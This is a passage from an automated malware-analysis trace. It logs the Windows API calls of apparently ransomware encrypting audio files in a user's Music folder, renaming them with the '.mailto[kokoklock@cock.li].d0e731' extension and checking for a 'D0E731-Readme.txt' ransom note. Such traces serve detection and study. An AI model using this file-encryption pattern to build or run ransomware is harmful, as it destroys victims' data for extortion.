0xb7fe47f4 [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x3b69f895 [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x8e18c42c [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0xb4a5561e [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0xe8e4488a [0175.357] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0xbe13fbb1 [0175.358] RtlRandom (in: Seed=0x22e7f954 | out: Seed=0x22e7f954) returned 0x8648e7a3 [0175.368] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.368] ReadFile (in: hFile=0x3c0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x22e7f920, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x22e7f920*=0x4096, lpOverlapped=0x0) returned 1 [0175.369] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0175.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30134b8 [0175.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054190 [0175.369] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054190) returned 1 [0175.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054140 [0175.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.369] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.369] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b8) returned 1 [0175.369] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0175.369] WriteFile (in: hFile=0x3c0, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x22e7f920, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x22e7f920*=0x4096, lpOverlapped=0x0) returned 1 [0175.370] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.370] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xd5a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.370] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054140*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22e7f958, lpOverlapped=0x0 | out: lpBuffer=0x3054140*, lpNumberOfBytesWritten=0x22e7f958*=0x20, lpOverlapped=0x0) returned 1 [0175.370] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054140) returned 1 [0175.370] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.370] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054118*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x22e7f96c, lpOverlapped=0x0 | out: lpBuffer=0x3054118*, lpNumberOfBytesWritten=0x22e7f96c*=0x8, lpOverlapped=0x0) returned 1 [0175.371] WriteFile (in: hFile=0x3c0, lpBuffer=0x22e7f984*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22e7f96c, lpOverlapped=0x0 | out: lpBuffer=0x22e7f984*, lpNumberOfBytesWritten=0x22e7f96c*=0x4, lpOverlapped=0x0) returned 1 [0175.371] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22e7f96c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x22e7f96c*=0x4, lpOverlapped=0x0) returned 1 [0175.371] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x22e7f96c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x22e7f96c*=0x6c, lpOverlapped=0x0) returned 1 [0175.371] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054078*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22e7f96c, lpOverlapped=0x0 | out: lpBuffer=0x3054078*, lpNumberOfBytesWritten=0x22e7f96c*=0x20, lpOverlapped=0x0) returned 1 [0175.371] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22e7f96c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x22e7f96c*=0x4, lpOverlapped=0x0) returned 1 [0175.371] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054078) returned 1 [0175.371] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054168) returned 1 [0175.371] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054118) returned 1 [0175.371] CloseHandle (hObject=0x3c0) returned 1 [0175.371] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xec) returned 0x3054c08 [0175.371] wcscpy (in: _Dest=0x3054c08, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731" [0175.371] wcscat (in: _Dest=0x3054c08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.371] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\fkdt3t.wav.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\fkdt3t.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.372] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.373] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054c08) returned 1 [0175.373] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.373] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x78) returned 0x2f8af90 [0175.373] wcscpy (in: _Dest=0x2f8af90, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" [0175.373] wcscat (in: _Dest=0x2f8af90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt" [0175.373] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\d0e731-readme.txt")) returned 0x20 [0175.373] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8af90) returned 1 [0175.373] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055ee0) returned 1 [0175.373] RtlExitUserThread (Status=0x1) Thread: id = 2430 os_tid = 0x830 [0175.374] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\tntgoh5net4z7n.m4a.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.375] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.375] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\tntgoh5net4z7n.m4a.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0175.375] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x22eff78c | out: lpFileSize=0x22eff78c*=56547) returned 1 [0175.375] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xdcdf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.375] ReadFile (in: hFile=0x3c0, lpBuffer=0x22eff760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22eff75c, lpOverlapped=0x0 | out: lpBuffer=0x22eff760*, lpNumberOfBytesRead=0x22eff75c*=0x4, lpOverlapped=0x0) returned 1 [0175.376] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.376] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.376] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054078 [0175.376] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054118 [0175.376] NtQuerySystemTime (in: CurrentTime=0x22eff738 | out: CurrentTime=0x22eff738*=132121213326858132) returned 0x0 [0175.376] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x2eca50de [0175.376] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0xdf536304 [0175.376] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0xf154ebdd [0175.376] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x8aff9579 [0175.376] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x288fa496 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0xe167bee0 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x1b2b4a54 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x9ff20db4 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x860fca19 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x3d518c75 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0xc35caf74 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0xedf48b2b [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x92858a44 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x4c81ebb9 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x1a982434 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0xc6d0f490 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0xccc170c [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x994abb75 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0xffeb9d07 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0xfeaf0dd3 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x82ae5319 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0xb3a094e [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0xceb392c6 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0xb2130c7c [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x773c524f [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0xb34d6914 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x13f56901 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x972fcf8b [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x96b73ca0 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0xc215b03e [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0x453eb068 [0175.377] RtlRandom (in: Seed=0x22eff744 | out: Seed=0x22eff744) returned 0xace5eb5d [0175.389] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.389] ReadFile (in: hFile=0x3c0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x22eff710, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x22eff710*=0x4096, lpOverlapped=0x0) returned 1 [0175.389] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.389] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0175.389] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30134b8 [0175.389] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0175.389] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054168) returned 1 [0175.390] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.390] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0175.390] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.390] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054050) returned 1 [0175.390] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b8) returned 1 [0175.390] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0175.390] WriteFile (in: hFile=0x3c0, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x22eff710, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x22eff710*=0x4096, lpOverlapped=0x0) returned 1 [0175.390] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.390] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xdce3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.391] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054168*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22eff748, lpOverlapped=0x0 | out: lpBuffer=0x3054168*, lpNumberOfBytesWritten=0x22eff748*=0x20, lpOverlapped=0x0) returned 1 [0175.391] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054168) returned 1 [0175.391] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.391] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054140*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x22eff75c, lpOverlapped=0x0 | out: lpBuffer=0x3054140*, lpNumberOfBytesWritten=0x22eff75c*=0x8, lpOverlapped=0x0) returned 1 [0175.391] WriteFile (in: hFile=0x3c0, lpBuffer=0x22eff774*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22eff75c, lpOverlapped=0x0 | out: lpBuffer=0x22eff774*, lpNumberOfBytesWritten=0x22eff75c*=0x4, lpOverlapped=0x0) returned 1 [0175.391] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22eff75c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x22eff75c*=0x4, lpOverlapped=0x0) returned 1 [0175.392] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x22eff75c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x22eff75c*=0x6c, lpOverlapped=0x0) returned 1 [0175.392] WriteFile (in: hFile=0x3c0, lpBuffer=0x3054078*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x22eff75c, lpOverlapped=0x0 | out: lpBuffer=0x3054078*, lpNumberOfBytesWritten=0x22eff75c*=0x20, lpOverlapped=0x0) returned 1 [0175.392] WriteFile (in: hFile=0x3c0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x22eff75c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x22eff75c*=0x4, lpOverlapped=0x0) returned 1 [0175.392] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054078) returned 1 [0175.392] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054190) returned 1 [0175.392] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054140) returned 1 [0175.392] CloseHandle (hObject=0x3c0) returned 1 [0175.392] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfc) returned 0x2f6d278 [0175.392] wcscpy (in: _Dest=0x2f6d278, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731" [0175.392] wcscat (in: _Dest=0x2f6d278, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.392] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\tntgoh5net4z7n.m4a.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\tntgoh5net4z7n.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.393] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.393] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d278) returned 1 [0175.393] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x78) returned 0x2f8af90 [0175.394] wcscpy (in: _Dest=0x2f8af90, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" [0175.394] wcscat (in: _Dest=0x2f8af90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt" [0175.394] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rvjx7ijh7o9lf\\d0e731-readme.txt")) returned 0x20 [0175.394] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8af90) returned 1 [0175.394] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0ad50) returned 1 [0175.394] RtlExitUserThread (Status=0x1) Thread: id = 2431 os_tid = 0x978 [0175.399] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\4k gby5p 5sna3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.401] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.401] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\4k gbY5P 5sNa3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\4k gby5p 5sna3yv1nuo.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0175.401] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x22f7f880 | out: lpFileSize=0x22f7f880*=97862) returned 1 [0175.401] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x17e42, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.401] ReadFile (in: hFile=0x3c0, lpBuffer=0x22f7f854, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22f7f850, lpOverlapped=0x0 | out: lpBuffer=0x22f7f854*, lpNumberOfBytesRead=0x22f7f850*=0x4, lpOverlapped=0x0) returned 1 [0175.402] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.402] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054050 [0175.402] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054078 [0175.402] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054140 [0175.402] NtQuerySystemTime (in: CurrentTime=0x22f7f82c | out: CurrentTime=0x22f7f82c*=132121213327171729) returned 0x0 [0175.402] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0xc5e1e718 [0175.402] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x767befbc [0175.402] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0xb1d3b775 [0175.402] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0xf6121d8b [0175.402] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x6b5f6776 [0175.402] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x50a56699 [0175.402] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x855429dd [0175.402] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0xbdbb3d6d [0175.402] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x7340f5cb [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0xea0cf47e [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0xdb4e9d06 [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x96903d9 [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x737687bd [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0xde9743b1 [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x7e44366 [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x2a77d41a [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x3f72cb35 [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x6ce1e048 [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x970f78e9 [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x4af7ac1f [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x66557e5b [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x8aad0489 [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x87f465de [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0xba9869fd [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x5bec4d41 [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0xff9d21f4 [0175.403] RtlRandom (in: Seed=0x22f7f838 | out: Seed=0x22f7f838) returned 0x203299ec [0175.403] RtlRandom (in: 